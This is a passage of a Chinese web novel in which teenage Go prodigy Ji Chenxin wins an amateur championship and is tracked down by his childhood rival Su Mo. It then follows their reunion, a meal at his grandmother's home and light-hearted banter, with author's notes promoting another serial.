镜头里,少年眼眸中闪烁着晶莹的光,额前的碎发随着动作轻轻晃动,不经意间露出的光洁额头,透着未经打磨的清爽,他嘴角扬起好看的弧度,眉眼也弯成了月牙。 他只是穿着简单的白T恤,却显现出挺拔的身躯,偶然偏离的目光,带着一股独属于这个年纪的朝气,当镜头拉近时,甚至能看见他脸颊上细微的绒毛,以及眼底藏不住的锋芒与骄傲! 他说:“我叫纪辰新,我来自墨城!” 随着这句话的落下,镜头里,屏幕外,不知谁打碎了水杯。 时间好像突然就变慢了,他望着电视里意气风发的少年,脸没有以前圆润了,头发比以前短了,眉眼长开了,就连身高也比以前高了许多许多 旁边传来老头子沉稳沙哑的声音,“怎么这么不小心,没伤到吧?周嫂,快来清理一下” 苏陌站在原地,脚步像钉住般,心脏更是在无形中,被一只手猛地攥紧,指尖不自觉地发麻,就连呼吸都忘了节奏。 他吸进的气带着颤,堵在喉咙口,半天才吐出几个字来: “爷爷” “你看的这个是什么比赛的颁奖现场?” 当心底滚烫的情绪涌上来,他盯着那张似曾相识的面孔,一遍遍描摹他的眉眼,人影明明清晰,轮廓明明熟悉,却不敢确认。 真的是你吗? 他困惑,犹豫。 纪辰新,真的是你吗? 他逐渐肯定。 七年过去 终于找到你了!—— 作者有话说:嘿嘿,这不就见到了吗? 为了他俩能早日相见,今天写超多呢~求营养液安慰~ 预收:《我在末世文里指挥丧尸干活》求收藏~ 文案如下: 许迟一觉醒来穿进了丧尸文里的炮灰反派,满屏的丧尸犹如过江之鲫。 天上飞的 地上跑的 水里游的 慢着……那个撑杆跳的,你是不是太嚣张了一点? 一开始,许迟只能艰难求生。 后来,偶遇丧尸突袭,许迟意外解锁了“言出法随”的异能。 从此,他让丧尸滚就滚,让丧尸爬就爬,无聊时甚至让丧尸给他跳舞解闷。 某日,狼狈又疲倦的国家战队展开救援,却看到画风清奇的一幕。 一群丧尸在跑步机上跑步。 旁边面容精致的少年嘴里念念有词“跑快点,再跑快点,发电量不够,空调带不动啊。” 再然后看到旁边湖里拼命抓鱼的丧尸 以及丧尸建房子,丧尸监工… 甚至…还有丧尸在开挖掘机? …… 许迟的小日子过得风生水起,直到那日,一个包裹严实的人找上了门,说找他谈一门生意。 “你好,我叫陆枭。” 许迟神色惊疑:谁?好耳熟,等等,难道是…那个扬言要毁灭世界的丧尸王…陆枭?!!! 然而,下一秒却听见,这个浑身散发着危险气息的男人意味不明道,“请问你这还需要包工头吗?” 第44章 颁奖仪式一结束, 纪辰新便带着五万块奖金以及奖杯,离开了酒店。 背包是早就收拾好的,车是主办方提供的, 四十多分钟的时间就给他送到了火车站,比他之前搭公交转来转去快多了。 在纪辰新走后,朴斌又给自己朋友发了几条信息。 【我跟你说,我这室友,不仅长的牛逼,棋力也好厉害, 真不是我吹, 即便我们俩加起来, 也不一定能下赢他。】 【反正,我现在是对他心服口服了。】 【看,这是他今晚领奖时, 我拍的, 帅吧!】 【图片】 2012左右的年代, 手机的像素还不是那么的好, 但这个像素也足够令手机对面的人认出照片里的人是谁了。 “嗡嗡嗡” 突然一通电话打了过来, 给朴斌吓了一跳,他接起电话, “靠, 肖椿, 你不是在学校吗,不怕手机被收了啊?” 电话里,肖椿压低声音,像是不方便讲话,“你室友呢, 在旁边吗?” “额,没有,他领完奖就回去了,怎么了?”朴斌愣愣地道。 电话里的声音有点急,“回去了?回哪去了?” “自然是回家呗,还能回哪,要不是没票了,我今晚也回来了。”朴斌笑着道。 肖椿继续追问,“他有说他家在哪吗?” 朴斌总算察觉到一点不对劲了,“你认识他啊?” “他叫纪辰新,来自墨城,不过具体墨城哪里就不知道了。” 肖椿沉默了半响儿,又问了句,“你有他的联系方式吗?” “没有,他都没手机。”提到这个,朴斌都也是纳闷了,“现在的高中生哪个没手机啊,他的家境不至于比咱们俩还差吧?” 肖椿没说话了,“嗯”了一声便挂断了电话。 朴斌不知道的是,肖椿的手机并不是家里给买的,而是好多年前某人送的。 当时的原话,他还记得,“如果他哪天回来了,麻烦你及时告知我一声。” 然而一晃多年过去,他再也没了纪辰新的消息,与那人自然也就没怎么联系。 肖椿站在宿舍阳台,翻出了那人的联系栏,然后将朴斌刚刚发给他的图片,点击保存,最后转发了过去。 “这是我朋友参加这一届全国业余围棋锦标赛,拍到的照片,他说纪辰新现在住在墨城,但不知道具体地址。” “叮咚叮咚”两道消息提示音,在某黑色轿车内响起。 苏陌看着肖椿发过来的信息,回了几个字,“知道了。” 他正在赶过去的路上。 与此同时,灰色轿车擦身而过,苏陌不知道他与想要找的人,再一次错过了。 等他来到颁奖现场时,仪式早已结束,他茫然地站在会场,拦住了正在清理现场的工作人员,“你知道那个第一名纪辰新在哪吗?” 工作人员愣了一下才道,“你去前台问一下吧,那里登记了所有选手入住的房间号。” 马不停蹄的,苏陌又去往了一楼。 他额前的碎发被汗水濡湿,衬衫的领口也解了开,有些歪,由于跑的太快,呼吸急促,胸口微微起伏,神色早没了以往的淡然模样。 好在,五分钟后,他顺利得到了纪辰新所在的房间号。 终于他敲响了那扇门。 然而,内心的忐忑与期待却在门开启的那刻,烟消云散。 朴斌看着来人,不可置信地擦了擦眼睛,兴奋道,“我靠,你是不是苏陌?” 苏陌的名气在围棋圈几乎无人不知,无人不晓,还未成年便已达七段,实在让人望尘莫及。 朴斌雀跃着,他几乎无法自控,见到偶像的冲动,差点把持不住理智,“请问可以跟你合张影吗?” 苏陌嘴角僵着,刚还在胸口蹦跳的那颗心,陡然被按了下去,眸色微暗,“就你一个人住?” 朴斌老实回答,“对,本来还有一个室友的,但他已经回家了。” “你这个室友,是不是叫纪辰新?”苏陌向他确认。 朴斌直愣愣点头,“对对对,你怎么知道?” “他什么时候走的?”苏陌蹙着眉头,继续问。 “快半小时了吧,他是晚上11点的火车。”朴斌拿出手机看了眼时间,“现在应该快到了。” 苏陌估算了下距离,然后也瞄了眼手机,发现已经十点四十了,即便赶过去,也追不上了。 他冷静了一会儿,问了朴斌一些信息,发现没什么意外收获后,便给爷爷打了个电话。 电话里,他说,“爷爷,您认识举办这届全国业余围棋锦标赛的主办方吗?” “我想,打听一个选手的住址。” 只要是报名参加比赛,所有选手都必须填写居住地址,以及邮寄地址,这是无法避免的。 他不信,即便如此,还能找不到人! * 纪辰新于第三天的凌晨,回到了家。 老太太这两天都没去上工,一直在家等着他。 好在,纪辰新言而有信,说去十天,就去十天,总算让她放下了心 纪辰新将包里的奖金和奖杯都拿了出来,讨巧道:“奶奶你看,这是我赢来的。” “整整五万块,读大学的费用,你不用再操心了。” 这些年除去动手术、家里吃穿用度,还有纪辰新上学,老太太早出晚归做工存下了两万块钱,但她一直焦虑孙儿,读大学钱会不够用。 之前纪辰新就没少宽慰过她,他每年都拿奖学金,就算读了大学也不怕。 看着这五捆现金,李春兰怔了怔,既高兴又担忧,“打比赛很不容易吧?” 纪辰新摇摇头,“还好,不难。” 说完,他的肚子便咕噜咕噜叫了起来,十几岁正是半大小子,吃穷老子的年纪,他食欲旺盛,还饿得快。 “饿了?咱不说这些了,锅里炖了鸡,这就给你盛出来补补。”老太太忙忙叨叨地就去了厨房。 * 缺席了快十天的课,其实准确来算也就八天,毕竟中间还有两天是周六日。 纪辰新到学校后,班主任立即将这段时间发下去的卷子,一股脑叠在一起塞给了他。 冲刺高考的最后阶段,课早就讲完了,每天除了复习就是讲试卷。 所以十天前,他提出请假,老师并未多阻拦,只是叮嘱他早点回来,不能玩物丧志。 是的,在老师眼里,临近高考,突然去参加什么围棋比赛,这不是玩物丧志又是什么呢? 下围棋又不能当饭吃,好好读书才是正道。 他的认知决定了他的想法,毕竟能成为职业选手的人少之又少,至少他周围没有这样的人,更不用说纪辰新从来都没有参加过定段赛。 纪辰新一整天都在写卷子,容易的基础题他就跳过,有点难度的,他才解一下,若是有错题,他一般当场解决,遇到解决不了,还会去找老师讨论。 老师就喜欢他这种钻研的态度与精神,不厌其烦地跟他分析了各种不同的解法。 一直到放学时分,纪辰新才从办公室出来。 班里,除了搞卫生的,人差不多都走光了。 纪辰新按了按太阳穴,回到了座位收拾东西准备走人。 倏然,“沙、沙”的脚步声,从斜后方缓慢传来,纪辰新并未在意。 直到,一个女生穿着帆布鞋站在了他面前,她红着脸,说着祝贺的话,“纪辰新,那个颁奖典礼,我在电视上看到了,恭喜你夺冠。” 纪辰新抬头,瞥了她一眼,好像是班里的同学,叫什么张如微的,从来没有过交集。 “谢谢。”他礼貌回了句。 张如微就站在他的书桌前,脸越来越红,咬着唇,似乎想要说什么,最后化为了一句,“你很喜欢下围棋吗?” 纪辰新将书包拉链一拉,点了点头,“算是吧。” “噢那个”女生纠结地抠了抠衣角。 纪辰新背上书包就准备离开了,“没什么事的话,我就先走了。” “你等等”张如微鼓起勇气叫住了他,随后捏紧了兜里早已写好的情书,刚要拿出来,陡然间就被人打断了。 “纪辰新!” 那声音破空而来,干净清澈得若山间泉水,带着微凉的通透感。 他就站在教室门口,身形清瘦挺拔,像被精心打磨过的玉,下颌线绷得清晰利落,眼神落过来时,像初冬的湖面,平静,冷冽,带着打量。 却也仅一秒,他再没给过她眼神,他直直朝他们走过来,视线定在纪辰新身上,自带一种疏离的清冷感。 张如微下意识将信捂紧了,生怕被人发现,结结巴巴地道,“我我我先走了。” 说罢,她落荒似的逃了。 纪辰新却是怔愣在了原地,神色从看到来人起便多了一丝慌乱,只因他一眼认出了来人是谁。 他背着书包的肩膀骤然紧绷,时间像是被按下了暂停键,指节微微用力地扯着书包带子。 表面故作镇定,内里疯狂艾特系统,【卧槽,他是怎么找到这的?】 系统同款懵逼,【我也不知道啊啊啊啊!】 苏陌几步走到了他面前,随之而来的是好闻的薄荷香,清清凉凉,极其醒神。 他的五官精致而立体,肤色光洁白皙,在夕阳下的映照下隐隐泛着温润的光泽,带着一丝贵气,眼眸深邃如寒潭,薄唇微微抿起。 “我猜你在想我是怎么找到这的。” 这是一句陈述句,他眉骨微挑,睫毛在眼下扫过极淡的弧影,明明是寻常模样,却莫名让人心里打鼓。 纪辰新只感觉自己的心脏都要蹦出来了,他有一种强烈的预感,这丫的或许要比以前更难缠了! 微风拂过树梢,掀动窗外满枝的绿。 苏陌穿着简单的深色衬衫,袖口挽到小臂,斑驳的光影映在了他的眼睛里,形成了淡淡的光晕。 他嘴角牵起极浅的弧度,仿佛冰面融了暖意。 “纪辰新” “这次你准备藏去哪?” 戏谑的尾音,像羽毛轻轻搔过耳朵,纪辰新听见他如是道—— 作者有话说:见面啦~啦啦啦啦~ 预收:《我在末世文里指挥丧尸干活》求收藏~ 文案如下: 许迟一觉醒来穿进了丧尸文里的炮灰反派,满屏的丧尸犹如过江之鲫。 天上飞的 地上跑的 水里游的 慢着……那个撑杆跳的,你是不是太嚣张了一点? 一开始,许迟只能艰难求生。 后来,偶遇丧尸突袭,许迟意外解锁了“言出法随”的异能。 从此,他让丧尸滚就滚,让丧尸爬就爬,无聊时甚至让丧尸给他跳舞解闷。 某日,狼狈又疲倦的国家战队展开救援,却看到画风清奇的一幕。 一群丧尸在跑步机上跑步。 旁边面容精致的少年嘴里念念有词“跑快点,再跑快点,发电量不够,空调带不动啊。” 再然后看到旁边湖里拼命抓鱼的丧尸 以及丧尸建房子,丧尸监工… 甚至…还有丧尸在开挖掘机? …… 许迟的小日子过得风生水起,直到那日,一个包裹严实的人找上了门,说找他谈一门生意。 “你好,我叫陆枭。” 许迟神色惊疑:谁?好耳熟,等等,难道是…那个扬言要毁灭世界的丧尸王…陆枭?!!! 然而,下一秒却听见,这个浑身散发着危险气息的男人意味不明道,“请问你这还需要包工头吗?” 第45章 藏?! 有吗? 纪辰新的第一反应便是否认。 啧, 他才没有藏呢! 不过他的否认根本站不住脚。 他后知后觉地发现后面两年确实有藏的嫌疑,但那还不是因为当时棋艺不精,不敢面对嘛 再说了, 他也没想到,他能这么快找过来啊! 按照他的设想,怎么也得等高考结束后,他报名参加世界赛时,再重新出现在他面前的。 没想到啊,他还没怎么着呢, 这人便闻着味来了。 纪辰新清了清嗓子, 双手抱胸保持警惕状态, “我可没藏,也不打算藏。” 他没发现自己说出的话,都带着心虚。 这在苏陌眼里就宛如狡辩, “是吗?” 简简单单的反问, 满是促狭, 质疑的味道。 五月的夕阳总是带着温柔的暖意, 纪辰新站在教室里, 能看见阳光透过窗户,把课桌的影子拉得老长。 空气里没了四月的微凉, 也没染上盛夏的燥热, 风从走廊溜进来, 树上的梧桐叶沙沙作响,吹得身旁的窗帘也跟着轻轻晃荡。 纪辰新抿着唇,决定转移话题,“所以你是特意从帝都赶过来找我的?” 他几乎能猜到,苏陌因着童年惨败于他的经历, 必定耿耿于怀,大概率是过来找他下棋的! 然而,他再一次失算了。 苏陌也转移了话题,“不是放学了吗,走吧。” 他率先出了教室。 纪辰新愕然地看着他转身的背影,匆匆跟了上去。 夕阳挂在空中,带着淡淡的橘红,把教室后墙的黑板报都镀上了一层暖光。 远处操场上传来隐约的喧闹声,处处都飘着放学的松弛感。 纪辰新忐忑的跟在他身后,进行天人交战,【系统,你说他到底过来干嘛啊。】 系统一如既往懵逼,【不知道啊,或许是想找个合适地方,和你对弈吧。】 纪辰新撇撇嘴,【最好如此!】 俩人一前一后在校园里走着,距离不远不近,看着就像是两个陌生人。 下一秒,一个篮球飞了过来,同时响起一道邀约的声音,“纪辰新,走啊,打篮球。” 纪辰新接过球,单手转出了花,又给他传了回去,嘴角扯着明媚的弧度回应道,“不了,今天有事,下回再打。” 话落,一个骑自行车的男生又在他身旁停下,拍了拍后座,“上车,开黑去!” 这个提议属实是诱惑到他了,他一瞅前面放慢了脚步的苏陌,再次遗憾的拒绝了,“下次吧,今天有事。” “怎么了,游戏都不打了,你要学习啊?”男生用一种惊奇的目光瞅他。 纪辰新无语地踹了他一脚,“赶紧滚吧,今天我的号借你玩。” “哈哈,这行,那我就不客气了哈!”男生脚一蹬,轮子便跨出去好远,高兴的走了。 四周终于恢复了安静,苏陌也终于停下脚步,回过头一脸微妙的看着他。 淡漠如霜的面容,眉头微微蹙起,波澜不惊的眼眸,像是泛起了阵阵涟漪。 “这些年,你似乎交了不少朋友。” 纪辰新总算等到他开口说话,挺了挺胸膛,笑道,“还行吧,人缘还算不错。” 他这话刚说完,就明显感受到对面那双眼眸如冬日的寒风一般扫了过来,虽不刺骨,却透着丝丝凉意。 纪辰新莫名感到了冷,摸了摸手臂,礼貌回问,“你呢?应该也交了很多朋友吧。” 苏陌依旧保持着那副清冷疏离的脾性,不让一丝细微的表情外露。 “我?也还行吧!” 他的心绪如同平静湖面下涌动的暗流,虽不张扬,却真切存在,即便不愿承认,他确实再一次久违地感受到了来自友情的占有欲。 “你平时也和他们下棋?” 他听见自己这般问,不知带着何种纠结与期待。 纪辰新走上前,与他并肩而行,“没有,我都自己下。” 这倒是事实,他平时都是跟系统一起训练的。 自己下? 听到回复,苏陌的心情总算松快了点,“那你这七年为什么没参加定段赛?” 纪辰新一边走,一边踢着并不存在的石子,“没有为什么,就是不想。” 不想? 这算哪门子的回答。 苏陌唇线抿紧,终于问出了最想问的问题,“当年为什么不告而别?” 他侧目久久注视着他,像是要将他盯出个洞来,窥探他的内心到底在想些什么。 纪辰新抬眼望着夕阳,长叹一口气,“这要怎么说呢” 其实,这些年苏陌不是没有自己的猜测的。 当年他找肖椿复盘过纪辰新搬家前后发生过的所有事,用来证实自己的猜测,却无法验证。 “既然你不知道该怎么说,那我来帮你说。”苏陌主动开了口,“你怕你的赌鬼父亲,再次找上门对不对?” 他几乎坦荡地将这一切摆了出来,“还是说为了躲债?我查到你父亲欠了很多钱。” 纪辰新怔了怔,再次对他刷新了认知,他不知道苏陌会对他的事这么上心。 “还有,我查到当时你父亲突然回来,是因为有人给他通风报信的缘故,而那个通风报信的人是你家邻居,王婶。” “你夺冠拿了奖金的事情,也是她教唆的你父亲” 王婶? 纪辰新的瞳仁蓦地瞪大,居然是王婶吗? 那个热情似火,几乎对谁都笑脸相迎的王婶? 是她背刺了他与奶奶? 纪辰新除了震惊之外,倏然间还感到很可笑,人心还真是一个难以捉摸的东西,这么多年不仅他没看透,奶奶也一样。 “谢谢你告诉我这些,不过当时不只是因为这个原因。” 事到如今,他也没什么好隐瞒的了。 纪辰新深吸一口气,娓娓道来,“七年前,我奶奶检查出了乳腺癌,一刻也不能耽搁,医生说墨城这边的专家很有经验,再加上我们不想被那个赌鬼爹找到,便搬来了这。” “就像你查到的那样,当时有人背刺我们,我们在明,她在暗,不想打草惊蛇的话,便不能透露一点消息。” “穷途末路之下,你懂吗,我们谁都不敢信。” 他的声音轻轻的,却如浸了水的棉絮,沉甸甸的,全是无法宣之于口的苦。 居然是这样,苏陌下颌线微微绷紧,显示出他内心的不平静。他难以想象当时年仅10岁的纪辰新是如何撑过这一切的,一定崩溃过很多次吧。 他本来不想轻易原谅他的不告而别的,他想他应该狠心晾他几天,怼他几句的,他想他应该告诉他,自己这些年为了找他都做了哪些努力的 他想他应该让他对自己心生愧疚的 然而,他最终只是情绪波动又克制地道:“这七年,你一定很不容易吧。” 纪辰新笑着摆手说“没事”,然而声音却像被什么卡了一下,尾音飘忽不稳,明明在说着轻松的话,却下意识抿紧了唇。 苏陌低眸,“你奶奶现在还好吗?” “早好了,走吧,去吃我家吃饭,我奶奶一定很高兴见到你。”纪辰新快步往前走,喉结悄悄滚了几下,语气刻意放得平稳。 他对以往经历过的种种都不愿去回想,也不愿再提。 他乐观地面对一切,像是没有任何事情能够打倒他。 飞鸟从树梢掠过,影子在地上跳跃,所有的一切,是那么的欣欣向荣,充满生机。 苏陌看着他的背影,嗓音微涩,“好!” * 纪辰新带苏陌回到了他和奶奶现在的家。 一个独栋又温馨的小房子,里面的陈设比之从前,还是充盈了不少。 “奶奶,你看我带谁来了。”纪辰新呼唤着,一路小跑去了后院。 苏陌则站在客厅,抬眼打量着这套房子的细微末节。 整个客厅不大,墙壁是最朴素的白色,地面是浅灰色的,最中央横着一张老式木沙发,扶手处的漆已经磨掉了好些。 沙发前面有一个矮茶几,上面堆了不少物品,没物品的地方,还能看到桌面上的划痕。 墙角放着一个旧书柜,有些变形了,不过里面的书码的整整齐齐的,看不见一丝灰尘,甚至连缝隙里都是干干干净净的。 苏陌不自觉走了过去,抽出其中一本来看,却发现这居然是纪辰新这七年来所有的课本,还有试卷。 他一张张翻阅,字迹洒脱,如人般清瘦挺拔,其一撇一捺更如同少年心事,直白热烈,一点不藏着掖着。 在书柜的最下方,是叠了一摞又一摞的奖状,什么三好学生、数学小能手、学习标兵、运动健将等各式各样的,全部分门别类摆放着。 苏陌的嘴角不经意间翘起,仿若看到了这些年的纪辰新的成长过程一样。 “小陌?” 李春兰穿着围裙,从后院走了出来,对于苏陌的到来,她感到既惊喜又意外。 苏陌放下了手中的奖状,微微颔首,声音清亮带着笑意,“纪奶奶,好久不见。” 他额头的碎发随着他低头的动作轻轻散开,透着礼貌与真诚,没有半分敷衍。 老太太有些激动,她走了没两步,苏陌便迎了上去,扶着她。 李春兰浑浊的双眸,泛着光,握住了苏陌的手,“这得有七年了吧,都长这么高了?” 苏陌陪着她坐下,“是啊,您现在身体还好吗?” 趁着俩人叙话的间隙,纪辰新去泡了茶。 然而,家里常年没什么客人来,茶叶自然也不够新鲜,纪辰新抿着唇,仔仔细细地挑了好一会儿。 不知什么时候,苏陌站在了他身旁,直言道,“我喝白开水就好,不讲究。” 纪辰新的手一抖,微窘,“要不,我还是去买副新的茶饼吧。” 他有些不好意思,感觉招待不周。 结果下一秒,他的肩膀就被轻轻碰了下,苏陌低垂着眸看他,“真不用。” 扑面而来的薄荷味,光线透过干净的玻璃窗照进来,在地面投下亮斑斑的光斑,纪辰新几乎赧然地后退了一步。 “好吧。” 老太太在与苏陌简单的叙旧后,便去后院抓鸡了,她一连交代了苏陌好几声,一定要留下吃饭。 苏陌全都应声答应了。 然而却在最后一句,“大老远过来,还没定住的地方吧,今晚就在这睡吧。”的邀请里,沉默了下来。 如果他刚才没观察错的话,纪辰新家里就两间房。 若是留下睡,他要睡哪? 结果老太太的话并未讲完,补充道:“你和我们小新睡一间,不介意吧?”?!!! 这苏陌还没来得及说什么。 纪辰新已经在举双手反对了,“我介意啊奶奶,我那房间小。” 他是出于现实情况考虑的,两个一米八的人,不对,苏陌看着好像比他还高一点,他们两个长手长脚的,挤一起真的会伸张不开的,这又不是小时候了! 老太太反驳道:“你那床大,睡两个人绝对没问题的。”??? 床大是理由吗? 他该怎么跟奶奶说,他们这么多年没见,真的没有那么熟啊! 何况,还是青春期,荷尔蒙旺盛的年纪,睡一张床,真的很尴尬啊。 纪辰新有些哑然地瞥向了苏陌,挤眉弄眼地提示他,快说句话啊,你快说你有洁癖,你要去住酒店! 视线里,苏陌像是没看到他的提示般,转过了身,端着水杯的指尖不自然地泛白,喉咙上下滚动,低沉地回应了一句,“好。” 微微发颤的音节,随着他的呼吸,都落进了他唇边的水里。 纪辰新直接裂开了:啊?—— 作者有话说:纪辰新:啊啊啊啊啊谁懂啊!有时候真的很无语[裂开] 第46章 晚上六点半左右, 李春兰一连炒了四个菜,庆祝苏陌的到来。 其中,作为主菜的鸡肉, 色泽金黄诱人,凑近一嗅,浓郁的香气直冲肺腑。 苏陌在老太太的满怀期待下张唇咬了一口,随后眼眸微微一亮。 鸡肉本身的鲜香与独特香料完美交融在了一起,鸡皮爽滑弹牙,肉质紧实鲜嫩, 每一丝纤维都咸香适中, 微妙的勾起了他的食欲。 “安心吃, 这是家养的鸡,比那种饲料的更有营养。”老太太说着又给他舀了碗汤。 苏陌接过汤碗时,点了点头, 认真道:“这汤看着就香, 我自己来就行, 您别光看我吃, 自己也吃。” “欸, 好。”李春兰笑着应下。 一转头,纪辰新已经在添第二碗饭了, 他饭量大的惊人, 嘴里塞的满满当当, 碗里的饭也都压的异常瓷实。 老太太拿着筷子敲了下他的碗,无奈道,“跟你说多少次了,慢点吃,别噎着, 细嚼慢咽才能消化好。” 说完,她还不好意思地瞥了眼苏陌,“这孩子就这样,改不了。” 苏陌看了眼对面的纪辰新,眸中溢出笑意,摇了摇头,“没事。” 他吃饭时慢条斯理,每一口都慢慢嚼,嘴角干干净净,碗筷垂直在一条水平线上,不发出任何声响,整个过程安安静静的,透着一股让人舒舒服服的劲儿,与对面狼吞虎咽,风卷残云的人形成了巨大的反差比。 纪辰新吃的正得劲,只有得空了才会分出一点余光瞟向苏陌,眼底尽是鄙夷。 毕竟在他看来,苏陌这种衣来伸手,饭来张口的小少爷,绝对没在学校食堂抢过饭。 那下课铃一打,到底有多么的争锋夺秒,他根本不知道。 站在一群乌泱泱的人群里,不抢跑的话,饭菜都没了。 再加上,食堂大叔那惨绝人寰的手艺以及食堂大妈堪称大师级别的颠勺,手腕就那么轻轻一颤,菜在勺里打个转,大半截又溜回了盘里,眼睛就像一把隐形的尺,每一下都把“少”拿捏的恰到好处。 他能在学校吃饱都算是自己能耐了,回了家就得狠狠补回来! 十多分钟后,纪辰新满打满算,吃了三大碗相当敦实的饭,他打了个嗝后便去帮奶奶洗了碗。 苏陌饭后便被老太太安排到了小屋外乘凉,还给他沏好了茶水。 “我再去洗点苹果和梨子,现在不都流行什么饭后水果吗。”老太太一刻也不愿歇着,转身就要去洗水果。 苏陌连忙拦住她,“真不用了,奶奶,我已经吃很饱了。” “没事,现在吃不下,过一会儿再吃就是了。”老太太实在是好客,根本拦不下。 纪辰新洗完碗出来,有些无奈的笑了笑,“你就让她去吧,不然不会消停的,这么多年也就你过来坐坐客,她心里实在高兴。” 说着,他便在苏陌身旁坐下。 傍晚时分,天已经黑的差不多了,白天的暑气悄悄褪了大半,风从远方吹过来,带着点草木的清香。 周围树上偶尔几声蝉鸣,并不聒噪,反衬的周遭更安静了些,空气中也弥漫了股松快的味道。 他们这栋小屋虽然离警察局近,但也在一个胡同街角里,平日里人来人往的并不多,大多是街坊邻居走动一下。 但经历过背刺事件后,祖孙俩都心照不宣地与所有的街坊邻居保持距离,不远不近地联系着,家里的事情更是不会透露出去半点。 纪辰新坐在小板凳上,看着奶奶端来了水果,篮子里除了苹果和梨子之外,还放了几个青黄不接的橘子。 他随手拿起一个橘子递给苏陌,揶揄了一句:“饭后水果。” 苏陌是真吃不下了,他今晚差不多吃了两碗饭,但又不想拂了老太太的一片心意,便将橘子剥皮,掰成了两半,其中一半给了纪辰新,“一起吃吧。” 纪辰新无所谓的接过,随后直接掰了一瓣塞进嘴里,结果刚咬破一个口,一股酸劲“唰”地从舌尖窜到了天灵盖,牙床都给他酸麻了。 他腮帮子不自觉往里缩,但余光瞥见苏陌还没入口,于是把刚到嘴边的“嘶”咽了回去,硬生生挤出个笑来,眯着眼,享受道,“哇,这橘子好甜!” “你快尝尝,太好吃了。”纪辰新忍住口里的酸麻,一个劲的推销。 苏陌不动声色地看着他,瞳孔里似乎在分辨什么,“是吗?” “是啊。”纪辰新点头,努力保持微笑。 “那你怎么哭了?”苏陌凑近了看他,伸手抹去了纪辰新眼角被酸出来的泪。 纪辰新一激灵,急往后撤,“你干嘛” 苏陌眼神戏谑,一副看破不说破的样子,他嘴角弯着,语气调侃,“好奇怪,我怎么闻到了酸味,不会是这橘子里面飘出来的吧?” 纪辰新眨巴着眼睛,无辜地看着他,意识到自己已经被看穿,于是趁他不注意,瞬间将手里的橘子全部塞进了他的嘴里。 “哈哈哈哈哈,是不是很甜,好不好吃?” 苏陌被他塞了满嘴,躲都没来得及躲开,但他表情控制的很好,他面不改色的照单全收了。 橘子的汁水在嘴里炸开,他吃的有滋有味,“还行,挺甜的。” 纪辰新狐疑地看着他,手指不自觉地蜷了蜷,靠,真的假的? 他是没有味觉吗? 苏陌手里还有一半橘子,他笑着递到了纪辰新面前,“没骗你,你尝尝就知道了,橘子偶尔会出现甜酸分布不均的情况,这很正常,生长过程的养分和光照的不同,都可能成为诱因。” 说着,他将手里的橘子,掰了一瓣,放进了嘴里,随后自然道:“你看,这个也是甜的,看来只有你吃的那瓣是酸的。” 纪辰新将信将疑地看着他,“你再吃一瓣看看。” 苏陌没有犹豫,立即又吃了一瓣,这下都不用纪辰新提醒,他吃的津津有味起来,一瓣接着一瓣,脸上没有丝毫变化,仿佛意犹未尽。 “你不吃的话,我就全吃了,只剩最后两瓣了,其他橘子绝对没有我手里这个甜。” 纪辰新看着他手里最后的两瓣橘子,纠结了几秒,终于还是伸出了手,“那你分一瓣给我。” 苏陌非常好说话的,分给了他一瓣,紧接着不待纪辰新反应,他便将最后一瓣丢进了嘴里,“好了,我已经吃完了。” 他动作自然,神色也正常。 这下,纪辰新是真信他了,内心的警惕早就没了,苏陌总不至于做到这一地步吧。 这都不是伤敌一千,自损八百了,这是自损八万! 想通了这些,纪辰新放心的将橘子毫无防备地丢进了嘴里。 结果,牙齿刚咬破橘子瓣的瞬间,那股酸涩劲儿便像小针似的“扎”在了舌尖,果肉里的汁水一下子全涌了出来,纪辰新嘴角一撇,直接“yue”了。 “啊啊啊,好你个苏陌!” “我!干!你!丫!的!” “呵哈哈”苏陌的笑声真真切切从喉咙里漾开,带着清润的调子,并不过分张扬。 他眉眼之间的冷意也被笑声烘化了些,清冷中多了几分鲜活,难得见他笑的这般开怀,淡而明亮。 纪辰新咧着嘴,在一旁狂吐,甚至拿了他的水杯,漱口。 当苏陌瞥见纪辰新的唇对准了自己喝过的那个水杯时,先是讶异地挑了下眉,随即笑声渐缓。 他眸色微暗,像是在思索什么。 他确实是一个有洁癖的一个人,家里的杯子都是独立分隔并消毒,不让人碰的,更不存在与人共饮一杯的情况。 但奇异的是,这人换成纪辰新,他好像没有很反感,甚至能接受? 纪辰新漱了好几口水,皱着眉头,佩服他的忍耐力,“为了让我吃下这瓣橘子,你真是煞费苦心,太不是人了!” 苏陌注视着他,再次笑道:“想要达到目的,这点忍耐力又算什么。” 纪辰新忍不住对他竖中指:你是真的狗! * 这一插曲过后,老太太已经洗完澡出来了,她一向睡的早,便催促着俩人赶紧去洗澡,早睡早起。 苏陌由于来的匆忙,并没有带换洗衣物,最后便只能借纪辰新的。 好在,纪辰新的衣服大多以休闲装为主,在打量了苏陌的身高后,他便拿了套最宽大的给他。 “好了,快去洗澡吧。” 话落,面前的苏陌稳稳站着并未移动。 他仔细看了眼手里的衣物,再次抬眸时,有些不自然地盯着纪辰新,像是还有话要说。 纪辰新不明所以地回视他,“怎么了?” 苏陌讷讷开口,“你少拿了一件。” “啊?”纪辰新愣愣瞪眼,随即电光火石间,猛的一拍头,淦!确实少了一件,还是最重要的一件——内/裤! 但 他好像暂时没有新的了! “我穿过的你要吗?”纪辰新打着哈哈问出口,然后感觉牙又酸了,脸也变热了。 这真是见鬼了,他为什么会感到尴尬啊? 苏陌瞳仁漆黑,注视了他几秒,“我” “啊,我想起来了,我有一件只穿过一次的,我这就拿给你。”纪辰新瞬间将尴尬抛之脑后,满房间翻找起来,最后拿出了条深色条纹内/裤。 当他将这件物品递过去时,苏陌垂着眸,鬓发如墨,几缕悄然滑落,恰好遮住他耳尖那抹初现的绯红。 他一言不发地伸手,然后走了。 纪辰新:“”这手可真快,都没有一丝犹豫的吗? 当苏陌洗完澡出来,已经是十多分钟后了。 纪辰新正在房间摆弄棋子棋盘,每隔三天就得下棋的机制,他时刻铭记于心,就怕哪天忘记,一不小心就嘎了。 “叩叩。”敲门声响起,“方便进来吗?”苏陌礼貌询问。 纪辰新头也不抬地道,“没什么方不方便的,直接进。” 他的房间陈设简单,一如当年,一张床,一个衣柜,一张桌子,两张椅子。 苏陌穿着纪辰新的衣服,发梢还挂着水珠,顺着耳廓轻轻滑落,颈间洇出了一片湿痕,沐浴露淡淡的清香跟他本身的薄荷味混合在一起,清新又好闻。 他的眉眼间带着未散的氤氲,整个人像是刚从雾里走出来似的。 纪辰新还在摆弄棋子,倏然间,一颗棋子掉在了地上,他伸手去捡时,却覆盖到了另一只骨节分明的手上。 